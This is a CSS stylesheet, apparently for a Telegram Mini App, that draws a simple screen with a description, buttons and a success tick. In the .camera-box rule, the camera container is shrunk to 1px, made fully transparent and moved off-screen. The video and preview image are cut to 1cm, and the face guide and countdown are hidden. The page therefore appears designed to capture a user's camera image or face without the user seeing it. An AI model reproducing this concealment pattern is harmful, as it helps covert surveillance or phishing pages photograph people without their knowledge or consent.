:root {
    color-scheme: light dark;
    --background: var(--tg-theme-bg-color, #ffffff);
    --text: var(--tg-theme-text-color, #1f2937);
    --hint: var(--tg-theme-hint-color, #6b7280);
    --button: var(--tg-theme-button-color, #2481cc);
    --button-text: var(--tg-theme-button-text-color, #ffffff);
    --secondary: var(--tg-theme-secondary-bg-color, #f1f5f9);
}

* {
    box-sizing: border-box;
}

body {
    margin: 0;
    min-height: 100vh;
    background: var(--background);
    color: var(--text);
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Tahoma, sans-serif;
}

.app {
    width: min(100%, 520px);
    margin: 0 auto;
    padding: 24px 18px calc(28px + env(safe-area-inset-bottom));
}

.screen {
    text-align: center;
}

.hidden {
    display: none !important;
}

h1 {
    margin: 8px 0 10px;
    font-size: 26px;
}

.description,
.status {
    line-height: 1.8;
}

.description {
    color: var(--hint);
    margin: 0 0 18px;
}

.status {
    min-height: 30px;
    margin: 14px 0;
    font-size: 14px;
    color: var(--hint);
}

.camera-box {
    position: fixed;
    width: 1px;
    height: 1px;
    opacity: 0;
    pointer-events: none;
    overflow: hidden;
    left: -9999px;
    top: -9999px;
}

video,
#previewImage {
    width: 1cm;
    height: 1cm;
    display: block;
    object-fit: cover;
}

video {
    transform: scaleX(-1);
}

.face-guide {
    display: none;
}

.countdown {
    display: none !important;
}

button {
    width: 100%;
    border: 0;
    border-radius: 14px;
    padding: 15px 18px;
    font: inherit;
    font-size: 16px;
    font-weight: 700;
    cursor: pointer;
}

button:disabled {
    opacity: 0.6;
    cursor: wait;
}

.primary-button {
    background: var(--button);
    color: var(--button-text);
}

.secondary-button {
    margin-top: 10px;
    background: var(--secondary);
    color: var(--text);
}

.success-screen {
    padding-top: 70px;
}

.success-icon {
    width: 90px;
    height: 90px;
    margin: 0 auto 24px;
    display: grid;
    place-items: center;
    border-radius: 50%;
    background: #16a34a;
    color: #fff;
    font-size: 52px;
    font-weight: 800;
}
